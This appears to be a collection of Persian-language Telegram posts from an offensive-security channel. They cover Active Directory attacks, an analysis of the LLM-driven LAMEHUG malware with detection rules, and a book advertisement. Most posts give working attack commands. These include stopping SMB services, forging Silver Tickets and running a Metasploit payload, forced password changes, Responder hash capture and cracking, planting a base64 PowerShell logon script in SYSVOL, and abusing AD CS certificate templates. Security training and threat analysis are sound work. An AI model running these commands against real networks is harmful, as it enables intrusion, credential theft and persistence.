🔖 آماده‌ سازی برای NTLM Relay از راه دور: Lateral Movement بدون NTLM و پورت 445/TCP
@KavehOffSec

آماده‌ سازی برای NTLM Relay از راه دور: Lateral Movement بدون NTLM و پورت 445/TCP

این مقاله یک سناریو واقعی از تست نفوذ را نشان می‌دهد که در آن مهاجم پس از دستیابی به دسترسی اولیه به یک سرور،با غیرفعال کردن عمدی سرویس‌ های حیاتی NetLogon، LanManServer و LanManWorkstation، مسیر معمول NTLM Relay از طریق پورت 445 را مسدود می‌ کند.

مراحل دقیق حمله:

1. غیرفعال کردن سرویس‌های حیاتی:

sc stop netlogon
sc stop lanmanserver
sc config lanmanserver start= disabled
sc stop lanmanworkstation
sc config lanmanworkstation start= disabled

2. تأیید بسته بودن پورت 445:

 nmap -p 445 -sT -Pn <serverIP>

3. راه حل جایگزین - استفاده از Kerberos:

■ استخراج هش‌های NTLM از LSA Secrets با secretsdump.py
■ به دست آوردن Domain SID با lookupsid.py
■ ساخت Silver Ticket با ticketer.py

4. دسترسی به سیستم تارگت:
■ استفاده از atexec-pro.py برای اجرای دستور از راه دور
■ آپلود و اجرای پیلود (msf_win_x64.exe)

⚠️ سلب مسئولیت:
این محتوا صرفاً برای اهداف آموزشی و در محیط ‌های لابراتور مجاز ارائه می ‌شود.
@KavehOffSec

📖 Credential Dumping DCSync Attack


حمله Active Directory Credential Dumping (DCSync) تکنیکی تخصصی است که مهاجمین برای استخراج اعتبارنامه‌ها از کنترل‌کننده دامنه (DC) به‌کار می‌برند، با این روش که خود را شبیه یک کنترل‌کننده دامنه نشان می‌دهند.


راه‌اندازی یک محیط آزمایشگاهی برای شبیه ‌سازی حمله
درک پروتکل DRS و نحوه عملکرد حمله
چرایی وقوع این misconfiguration در دنیای واقعی
Exploiting از misconfiguration
نگاشت حمله به MITRE ATT&CK
Detecting حمله
استراتژی ‌های کاهش خطر
راه‌اندازی لاب (Lab Setup)

نیازمندی‌ها:
یک محیط مجازی ‌سازی (مثلاً VMware، VirtualBox یا Hyper-V).
یک Windows Server که به‌عنوان کنترل‌کننده دامنه پیکربندی شده باشد.
یک ماشین کلاینت ویندوز.
ابزارها: Impacket، Mimikatz، Netexec و Metasploit.
مراحل:
پیکربندی کنترل‌کننده دامنه:
ویندوز سرور را نصب و پیکربندی کنید تا به‌عنوان کنترل‌کننده دامنه (DC) عمل کند؛ نام دامنه را مثلاً ignite.local قرار دهید و آدرس IP را به‌صورت ایستا (static) تنظیم کنید مثلاً 192.168.1.48. AD را راه‌اندازی کنید و چند کاربر و گروه ایجاد کنید.
@KavehOffSec
@TryHackBox

۴. تحلیل رفتاری:
الگوهای غیرعادی اجرای دستورات
تولید خودکار دستورات سیستمی
جمع‌آوری انبوه اطلاعات سیستمی

اقدامات حفاظتی

اقدامات فوری:
۱. مسدود کردن IoCهای شناخته‌شده (IPها، دامنه‌ها، هش‌ ها)
۲. نظارت بر دسترسی‌ ها به API LLM
۳. تقویت کنترل پیوست‌ های ایمیل
۴. بررسی دایرکتوری %PROGRAMDATA%\info\

اقدامات بلندمدت:

# مسدود کردن API LLM (اگر به طور قانونی استفاده نشود)
netsh advfirewall firewall add rule name="Block_LLM_APIs" 
dir=out action=block remoteip=inference.huggingface.co

نظارت بر پروسس های مشکوک

wevtutil qe Security /q:"*[System[EventID=4688] and 
EventData[Data[@Name='NewProcessName'] and 
(contains(.,'wmic') or contains(.,'systeminfo'))]]"

قوانین YARA برای شناسایی:

rule LAMEHUG_AI_Malware {
    meta:
        description = "شناسایی بدافزار مبتنی بر هوش مصنوعی LAMEHUG"
        author = "تحقیقات امنیتی"
        date = "2025-07-30"
    
    strings:
        $api1 = "inference.huggingface.co"
        $api2 = "Qwen2.5-Coder"
        $path = "%PROGRAMDATA%\\info\\info.txt"
        $cmd1 = "systeminfo >>"
        $cmd2 = "wmic computersystem"
        
    condition:
        2 of them
}

ارزش برای صنعت

عصر جدیدی از تهدیدها:
LAMEHUG
نشان‌ دهنده تغییری اساسی در توسعه بدافزار است. استفاده از LLM برای تولید پویای دستورات، بدافزار را انطباق‌ پذیرتر و سخت‌ تر برای شناسایی می‌کند.

ریسک‌های کلیدی:
- خودکارسازی حملات پیچیده بدون تخصص
- دور زدن سیگنچرهای استاتیک از طریق تولید پویا
- کاهش موانع ورود برای مجرمان سایبری
- مقیاس‌ پذیری حملات شخصی‌ سازی‌ شده

تکامل حفاظت:
روش‌های شناسایی سنتی مبتنی بر سیگنچرهای استاتیک، کمتر مؤثر می‌شوند. نیاز به گذار به تحلیل رفتاری و نظارت بر فعالیت هوش مصنوعی وجود دارد.

پیش‌بینی‌های توسعه

آینده نزدیک:
- ادغام LLMهای قدرتمندتر (GPT-4، Claude)
- LLMهای محلی برای اجتناب از شاخص‌ های شبکه‌ ای
- تولید کد پلی‌ مورفیک توسط هوش مصنوعی
- مهندسی اجتماعی خودکار

فناوری‌های حفاظتی:
- سیستم‌ های شناسایی مبتنی بر هوش مصنوعی
- تحلیل رفتاری استفاده از هوش مصنوعی
- نظارت و فیلترینگ API LLM
- تکنیک‌ های هوش مصنوعی خصمانه

نتیجه‌گیری

LAMEHUG
آغاز عصر جدیدی در امنیت سایبری است. APT28 نشان داد که چگونه هوش مصنوعی می‌تواند برای ایجاد تهدیدهای پیچیده‌تر و انطباق‌پذیرتر سلاح‌ سازی شود.

نکات بحرانی:
- اولین مورد استفاده جنگی از LLM در بدافزار
- تولید پویای دستورات از طریق هوش مصنوعی
- کاهش موانع فنی برای مهاجمان
- نیاز به بازنگری رویکردهای حفاظتی


#APT28
@KavehOffSec

APT28 LAMEHUG
اولین بدافزار مجهز به هوش مصنوعی در طبیعت

گروه هکری روس APT28 (Forest Blizzard, UAC-0001) با توسعه اولین بدافزار عمومی مستندشده که از یک مدل زبانی بزرگ (LLM) بهره می‌ برد، دوره جدیدی از حملات سایبری را معرفی کرده است. LAMEHUG فصل جدیدی در تاریخ بدافزارها گشوده است.

معماری فنی

اجزای اصلی:
- زبان برنامه‌نویسی: پایتون
- بسته‌بندی: PyInstaller (فایل‌های .pif)
- مدل زبانی: Qwen 2.5-Coder-32B-Instruct
- رابط برنامه‌نویسی (API): Hugging Face Inference API
- روش تحویل: ایمیل‌های فیشینگ حاوی فایل‌های ZIP

رویکرد انقلابی:
LAMEHUG
دستورات متنی به زبان طبیعی را دریافت کرده و از طریق مدل زبانی آن‌ ها را به دستورات سیستمی تبدیل می‌ کند که روی دستگاه آلوده اجرا می‌ شوند. این قابلیت امکان خودکارسازی وظایف پیچیده جاسوسی و سرقت داده‌ها را بدون نیاز به برنامه‌نویسی دستورات خاص فراهم می‌کند.

مکانیزم عملکرد

مرحله ۱: آلودگی

Appendix.pdf.zip → Appendix.pdf.pif → PyInstaller executable 

مرحله ۲: تولید دستورات توسط هوش مصنوعی
بدافزار درخواست‌هایی را به Qwen 2.5-Coder از طریق API Hugging Face ارسال می‌کند:
"تولید دستورات ویندوز برای جمع‌وآوری اطلاعات سیستمی شامل سخت‌افزار، پروسس ها، سرویس‌ ها و پیکربندی شبکه"

مرحله ۳: اجرای دستورات تولید شده
مدل زبانی دستورات آماده را باز می‌ گرداند و LAMEHUG آن‌ ها را از طریق cmd.exe اجرا می‌کند:

cmd.exe /c "mkdir %PROGRAMDATA%\info && 
systeminfo >> %PROGRAMDATA%\info\info.txt && 
wmic computersystem get name,manufacturer,model >> %PROGRAMDATA%\info\info.txt && 
wmic cpu get name,speed >> %PROGRAMDATA%\info\info.txt && 
wmic memorychip get capacity,speed >> %PROGRAMDATA%\info\info.txt && 
wmic diskdrive get model,size >> %PROGRAMDATA%\info\info.txt && 
wmic nic get name,macaddress,ipaddress >> %PROGRAMDATA%\info\info.txt && 
tasklist >> %PROGRAMDATA%\info\info.txt && 
net start >> %PROGRAMDATA%\info\info.txt && 
ipconfig /all >> %PROGRAMDATA%\info\info.txt && 
whoami /user >> %PROGRAMDATA%\info\info.txt && 
whoami /groups >> %PROGRAMDATA%\info\info.txt && 
net config workstation >> %PROGRAMDATA%\info\info.txt && 
dsquery user -samid %username% >> %PROGRAMDATA%\info\info.txt"

مرحله ۴: جمع‌ آوری و استخراج داده‌ ها
- جستجوی بازگشتی در پوشه‌ های Documents، Desktop، Downloads
- آماده‌ سازی فایل‌ ها برای استخراج
- انتقال داده‌ ها از طریق SFTP یا HTTP POST.

گونه‌های بدافزار

سه نسخه شناسایی شده است:

1. نسخه اصلی (Appendix.pdf.pif)
- قابلیت پایه تولید دستورات توسط هوش مصنوعی
- جمع‌آوری اطلاعات سیستمی
- استخراج داده‌ها از طریق SFTP

2.AI_generator_uncensored_Canvas_PRO_v0.9.exe
- قابلیت‌های پیشرفته‌ تر تولید دستورات
- روش‌ های جایگزین استخراج داده
- دور زدن محدودیت‌ های مدل زبانی

3. image.py
- نسخه اسکریپت پایتون
- منطق تغییر یافته برای استخراج
- احتمالاً نسخه آزمایشی

شاخص‌ های فنی

آرتیفکت‌ های فایل:
- %PROGRAMDATA%\info\info.txt 
- اطلاعات سیستمی
- Appendix.pdf.pif 
پیلود اصلی
- AI_generator_uncensored_Canvas_PRO_v0.9.exe

- نسخه جایگزین

شاخص‌ های شبکه‌ای:

- سرورهای C2: 144.126.202.227, 192.36.27.37
- دامنه‌ها:
boroda70@meta.ua, stayathomeclasses.com

- API: inference.huggingface.co (Qwen 2.5-Coder)

- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0

هش فایل‌ ها:

- 8013b23cb78407675f323d54b6b8dfb2a61fb40fb13309337f5b662dbd812a
- 766c356d6a4b00078a0293460c5967764fcd788da8c1cd1df708695f3a15b777
- a30930dfb655aa39c571c163ada65ba4dec30600df3bf548cc48bedd0e841416
- d6af1c9f5ce407e53ec73c8e7187ed804fb4f80cf8dbd6722fc69e15e135db2e
- bdb33bbb4ea11884b15f67e5c974136e6294aa87459cdc276ac2eea85b1deaa3
- 384e8f3d300205546fb8c9b9224011b3b3cb71adc994180ff55e1e6416f65715

روش‌ های شناسایی

1. نظارت بر فعالیت فایل:

 Sysmon Event ID 11: File creation in %PROGRAMDATA%\info\*
Suspicious files in writable directories: AppData, ProgramData, Users\Public

2. شناسایی جاسوسی:

   - اجرای چندین دستور شناسایی در بازه زمانی کوتاه:
whoami, systeminfo, wmic, ipconfig, net, tasklist

3. نظارت شبکه‌ای:

   - اتصالات به نقاط پایانی API مدل‌های زبانی:
     - inference.huggingface.co
     - api.openai.com
     - generativelanguage.googleapis.com
     - api.anthropic.com`

@KavehOffSec

💢 روز "بازگشایی آموزشگاها"

این روز خجسته را به همه‌ی مردم ايران بزرگ شادباش می‌گویم.
به ویژه خانواده‌هایی که دانش آموز از پایه يکم دبستان تا آموزشگاهای بزرگ کشور را دارند.
آرزوی آبرومندی ‌و رسیدن به برترین پایه‌های دانشیک و بهترین‌ ها را  آرزو داریم براتون.

دوستان این اسکریپت قبلا نوشته بودم حال تغییرات و بهبود پیدا کرده امیدوارم براتون مفید باشه

ابزار ADKAVEH: شبیه‌سازی حملات و شناسایی در Active Directory با PowerShell

ADKAVEH یک اسکریپت PowerShell است که به تیم‌های امنیتی امکان شبیه‌سازی حملات و شناسایی در محیط‌های Active Directory را می‌دهد. این ابزار شامل ماژول‌هایی برای شبیه‌سازی حملاتی مانند Kerberoasting، AS-REP Roasting، Password Spraying و تست‌ های اختیاری برای غیرفعال‌سازی Windows Defender است.

https://github.com/TryHackBox/ADKAVEH

#tools
@KavehOffSec

⭕️ یادداشت‌ های اکسپلویت از تست نفوذ Active Directory - بخش پایانی

حمله Force Change Password Attack

اگر برخی نام کاربری/رمز عبور و نام‌ های کاربری دیگر را پیدا کردیم، ممکن است بتوانیم رمز عبور کاربران دیگر را تغییر دهیم. کاربر نیاز به مجوز GenericAll برای تغییر رمز عبور کاربران دیگر دارد.

# -U: User credential who has the permission to change another user password
# -I: Target IP
# -S: Target server name
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"

Microsoft Management Console (mmc)
برای تنظیم AD، این دستورالعمل‌ها را دنبال کنید:
۱. روی آیکون ویندوز راست‌ کلیک کنید.
۲. روی "Run" کلیک کنید و "mmc" را وارد کنید سپس "OK" را کلیک کنید.
۳. در MMC، روی "File → Add or Remove Snap-ins" کلیک کنید.
۴. تمام سه "Active Directory…" snap-in را اضافه کنید.
۵. روی "Active Directory…" در پنل سمت چپ راست‌کلیک کنید و "Change Forest" را انتخاب کنید.
۶. دامنه را به عنوان Root domain وارد کنید و OK را کلیک کنید.
۷. روی "View → Advanced Features" کلیک کنید.

قرارداد نام‌ گذاری (Naming Convention)
اگر فهرست نام‌ های کاربری در Active Directory را پیدا کردیم، می‌توانیم نام‌ های کاربری را با قرارداد نام‌ گذاری تغییر دهیم.

برای مثال:

john smith -> jsmith, j.smith, john.smith
michael pole -> mpole, m.pole, michael.pole
ssh dc.example.com\\<ad_username>@sub.dc.example.com

تزریق اعتبارنامه‌ ها به حافظه (Inject Credentials into Memory)

# /netonly: All network communications will use these injected credentials for authentication.
runas.exe /netonly /user:<domain>\<username> cmd.exe

پیکربندی DNS (DNS Configuration)

# PowerShell
$dnsip = "<DC_IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

حالا بررسی کنید که پیکربندی به درستی تنظیم شده است.

دانش پایه (Basic Knowledge)
مدیریت کاربر (User Management)
(Delegation)

در Active Directory، مدیر می‌تواند کاربر دیگری را برای مدیریت کاربران در یک واحد سازمانی (OU) Delegation کند، بدون privileges مدیر.

تنظیم (Setup)

"Active Directory Users and Computers" را باز کنید.
روی OU تارگت راست‌ کلیک کنید و روی “Delegate Control…” کلیک کنید. سپس پنجره جدید باز می‌شود.
در پنجره، نام کاربری که می‌خواهید privilege مدیریت کاربران را به او Delegation کنید، وارد کنید.
وظایفی را که کاربر واگذارشده(Delegation) باید مدیریت کند، انتخاب کنید.
OK را کلیک کنید.

مدیریت کاربران (Manage Users)

به عنوان کاربر واگذارشده وارد شوید.

برای مثال، اگر می‌خواهید رمز عبور john را بازنشانی کنید، دستور زیر را در PowerShell اجرا کنید. سپس رمز عبور جدید را در پرامپت وارد کنید.

Set-ADAccountPassword john -Reset -NewPassword (Read-Host -AsSecureString -Prompt 'New Password') -Verbose

اولین باری که John پس از آن وارد سیستم می‌شود، می‌خواهیم John رمز عبور دلخواه خود را تغییر دهد نه رمزی که شما وارد کردید. برای این کار، دستور زیر را اجرا کنید.

Set-ADUser -ChangePasswordAtLogon $true -Identity john -Verbose

حالا وقتی John وارد سیستم می‌شود، از او خواسته می‌شود رمز عبور جدیدی تغییر دهد.

رهگیری احراز هویت NetNTLM (Intercept NetNTLM Authentication)
Responder را شروع کنید تا برای هر درخواست LLMNR، NBT-NS، WPAD گوش کند.

sudo responder -I <interface-like-eth0>

Responder را تا دریافت برخی درخواست‌ها در حال اجرا نگه دارید.

اگر هش NTLM را دریافت کردید، آن را در ماشین محلی کرک کنید.

echo -n '<copied-NTLM-hash>' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt

#NoteADExploit
@KavehOffSec

⭕️ یادداشت‌ های اکسپلویت از تست نفوذ Active Directory - بخش دوم

  
3. آپلود داده‌ های جمع‌آوری‌ شده (Upload Collected Data) 
پس از اجرا، فایل‌های نتیجه (*.json) در دایرکتوری فعلی تولید می‌ شوند. تمام این فایل‌های JSON را به BloodHound در مرورگر وب آپلود کنید. 

می‌توانیم روابط در Active Directory را کاوش کنیم.

بررسی (Investigation)

فهرست همه کاربران

net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A

فهرست همه گروه‌ها

net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com

فهرست سیاست رمز عبور

net accounts /domain
# فهرست ابجکت ها AD
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com

بازیابی اطلاعات در مورد دامنه داده‌ شده.

Get-ADDomain -Server dc.example.com

تغییر رمز عبور کاربر AD

Set-ADAccountPassword -Identity <username> -Server dc.example.com -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)
# SYSVOL 

یک پوشه اشتراکی که Group Policy Objects (GPOs) را ذخیره می‌ کند.

dir \\dc.example.com\SYSVOL\

سوءاستفاده از اسکریپت ورود برای کاربران دیگر (Abuse Logon Script for Other Users)
اگر کاربر فعلی مجوز نوشتن اسکریپت‌ ها در SYSVOL را داشته باشد، ممکن است بتوانیم مسیر اسکریپت ورود کاربران دیگر را تغییر دهیم.

1. بررسی مجوز

icacls C:\Windows\SYSVOL\sysvol\example.local\scripts\

2. تغییر/اضافه کردن یک اسکریپت مخرب

'powershell -e <BASE64_COMMAND>' | OutFile -FilePath C:\Windows\SYSVOL\sysvol\example.local\scripts\evil.bat

3. تنظیم اسکریپت ورود برای کاربر مشخص‌شده

Set-ADUser -Identity VictimUser -ScriptPath '\\example.local\SYSVOL\example.local\scripts\evil.bat

هنگامی که کاربر دیگر وارد سیستم می‌ شود، اسکریپت .bat اجرا خواهد شد.

#NoteADExploit
@KavehOffSec

⭕ یادداشت‌ های اکسپلویت از تست نفوذ Active Directory - بخش اول

دوستان من این مورد قبلا خونده بودم گفتم مطالب با شما هم به اشتراک بگذارم شاید براتون مفید باشه .

اکتیودایرکتوری (AD) یک سرویس دایرکتوری است که توسط مایکروسافت برای شبکه‌ های دامنه ویندوز توسعه پیدا کرده است.
شمارش یا Enumeration

کشف یا Discovery کنترل‌ کننده‌های دامنه (Domain Controllers Discovery)

dig @<target-ip> example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25

شمارش با BloodHound
1. اجرای BloodHound  ما از BloodHound Community Edition استفاده میکنیم.

دستور زیر Docker Compose BloodHound را شروع می‌ کند:
  

curl -L https://ghst.ly/getbhce > docker-compose.yml
sudo docker-compose down -v # If you want to reset the password of BloodHound...
sudo docker-compose pull && sudo docker-compose up

  
 پس از آن، میتوانیم از رابط یا اینترفیس وب با دسترسی به localhost:8080 در مرورگر وب استفاده کنیم.

با نام کاربری admin و رمز عبوری که در لاگ هنگام اجرای دستور بالا نمایش داده می‌شود، وارد شوید. 

برای مشخص کردن IP و پورت دلخواه، متغیرهای محیطی را روی ماشین اتکر تنظیم کنید:
 

  export BLOODHOUND_HOST=10.0.0.1
   export BLOODHOUND_PORT=8090

2. جمع‌ آوری داده‌ ها (Collect Data)

گزینه 1. استفاده از NetExec اگر NetExec را در ماشین خود دارید، فکر میکنم ساده‌ ترین راه باشد.
 

  netexec ldap <target-ip> -d example.local -u username -p password --dns-server <target-ip> --bloodhound -c All

  
   گزینه 2. استفاده از BloodHound.py ما همچنین میتوانیم از BloodHound.py استفاده کنیم.

آن را به صورت زیر نصب کنید:
 

python3 -m venv .venv
source .venv/bin/activate
pipx install bloodhound # or using 'pip3' instead of 'pipx'
bloodhound-python -h

   سپس داده‌ ها را جمع‌آوری کنید:
 
  

   # -u: Username
   # -p: Password
   # -dc: Domain Controller
   # -c all: Collect all data
   # -ns: Alternate the nameserver
   bloodhound-python -d example.local -u username -p password -dc dc.example.local -c all -ns ns.example.local

   # If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
   sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>
   

#NoteADExploit
@KavehOffSec

دامنه صوری (Domain Fronting) چیست؟

دامنه صوری Domain Fronting تکنیکی است که در آن دامنه‌ای که در SNI (Server Name Indication) TLS درخواست می‌ شود که برای شبکه قابل مشاهده است با دامنه‌ای که در هدر HTTP Host استفاده می‌ شود که تا پس از انجام handshake رمزگذاری‌شده قابل مشاهده نیست متفاوت است. این روش باعث می ‌شود ترافیک به نظر برسد که به دامنه‌ای قانونی یا پرطرفدار (مثلاً cdn.cloudflare.net) هدایت می‌ شود، در حالی که در واقع به یک دامنه C2 مخفی پشت CDN مسیر‌دهی می ‌شود.
@KavehOffSec

📘 کتاب "وایرشارک برای رد‌تیمرها"
راهنمای تخصصی تحلیل شبکه برای هکرهای اخلاقی و تیم‌های قرمز

⚠️ توجه:
این فایل تنها نمونه‌ای از صفحات کتاب است و برخی مطالب و آموزش‌ ها به منظور حفظ اصالت اثر حذف شده‌اند. 
برای دریافت نسخه‌ی کامل و دسترسی به تمامی تمرین‌ها و سناریوها، می‌توانید کتاب را به صورت کامل خریداری کنید.

توضیحات کتاب و قیمت
توضیحات کامل
📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport

📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته

📚 عنوان کتاب: وایرشارک برای ردتیمرها (Wireshark for Red Teamers) 

این کتاب یک راهنمای جامع و عملی برای یادگیری ابزار قدرتمند Wireshark است، با تمرکز ویژه روی کاربردهای آن در حوزه Red Teaming (تیم قرمز) و امنیت سایبری تهاجمی. کتاب از پایه شروع می‌ کند و به مفاهیم پیشرفته مانند تحلیل ترافیک شبکه، شناسایی آسیب‌پذیری‌ها، و تکنیک‌های نفوذ می‌ پردازد. محتوای اصلی کتاب شامل فصل‌هایی مانند معرفی Wireshark، درک ترافیک شبکه، تکنیک‌های کپچرینگ پکت‌ها، فیلترینگ، و کاربردهای عملی در Reconnaissance (شناسایی) و Command and Control (C2) است.

این کتاب مناسب چه کسانی است؟
ویژگی‌ های کتاب ؟
چرا باید این کتاب را بخرید؟
دانلود فایل های تمرین و سناریوها

توضیحات کامل را بخوانید .

💰 قیمت : ۲۵۰,۰۰۰ تومان
💢 ۱۰ نفر اول میتوانند این کتاب را با قیمت ۲۰۰,۰۰۰ تومان تهیه کنند .

📌 جهت خرید و کسب اطلاعات بیشتر، به ایدی زیر پیام دهید:
@THBxSupport

⭕ مقدمه‌ای بر AD CS: کانتینرها در Active Directory

حالا می‌رسیم به بخش کانتینرها تو اکتیو دایرکتوری که مستقیماً با Certificate Services مرتبطه. این کانتینرها اساساً جایی هستن که همه تنظیمات و objectهای مرتبط با PKI ذخیره میشن، و اگر بتونی بهشون دسترسی پیدا کنی، راه برای persistence یا حتی escalation باز میشه. من اینجا تمرکز میکنم روی Public Key Services container، که مسیرش اینه: CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com. این کانتینر تو partition Configuration قرار داره، یعنی site-wide و replicate میشه تو همه DCها.

زیرمجموعه‌های کلیدی تو Public Key Services
این کانتینر چند تا sub-container مهم داره که هر کدوم نقش خاصی تو AD CS بازی میکنن:

- Certificate Templates: 
  اینجا templateهای گواهی ذخیره میشن

📌  چیزایی مثل User یا Computer که مشخص میکنن چطور گواهی صادر بشه، شامل EKUها، enrollment rights و غیره. اینا کلیدین برای abuse، چون اگر vuln باشن، میتونی دسترسی بگیری.

- Certification Authorities: 
  لیست trusted root CAها اینجا هست. این rootها از طریق Group Policy Object (GPO) propagate میشن به کلاینت‌ها. یعنی اگر بتونی یک CA جعلی اضافه کنی، همه ماشین‌ها بهش trust میکنن.

- Enrollment Services: 

  این بخش Enterprise CAها رو لیست میکنه 📌 CAهایی که integrate شدن با AD و میتونن گواهی صادر کنن. اگر دسترسی داشته باشی، میتونی enrollment رو manipulate کنی.

- NTAuthCertificates: 
  برای چیزایی مثل smart card authentication و key archival استفاده میشه. این objectها مشخص میکنن کدوم CAها مجازن برای NT authentication، که تو Kerberos مهمه.

آموزش ردتیم: چطور این کانتینرها رو abuse کنیم؟

تو سناریوهای حمله، ACLهای ضعیف روی این کانتینرها میتونه به persistence منجر بشه. مثلاً، اگر Write rights داشته باشی روی Certification Authorities، می‌ تونی یک trusted root جعلی اضافه کنی (مثل حمله DPERSIST2 تو گزارش‌های persistence). این کار domain-wide trust رو میشکنه.

برای enumerate کردن، از PowerShell استفاده کن:

Powershell

ls 'AD:\CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com'

این کامند لیست objectها رو نشون میده. برای templateها، ابزار Certify.exe عالیه: Certify find رو بزن تا vuln templateها رو پیدا کنی.

abuse عملی:
اگر ACL Write داری روی یک template، می‌ تونی modify کنی (مثل ESC4) .

مثلاً enrollment rights اضافه کنی یا EKUها رو تغییر بدی تا vuln بشه. بعد، گواهی درخواست بده و escalate کن.

نکته ای که هس :
این کانتینرها جزو Tier 0 assetها حساب می‌شن یعنی compromiseشون معادل domain persistence. adminها باید ACLها رو سختگیرانه چک کنن، چون حتی یک low-priv کاربر اگر rights داشته باشه، میتونه کل PKI رو به هم بریزه.

تمرین پیشنهادی

برای دست‌گرمی، تو محیط تستت یک template enumerate کن با Certify (مثل Certify find /template:User) و EKUها رو چک کن ببین آیا Client Auth داره یا Any Purpose، که vuln هستن. این کمک میکنه بهتر بفهمی کجا حمله کنی.

#ADCS
@KavehOffSec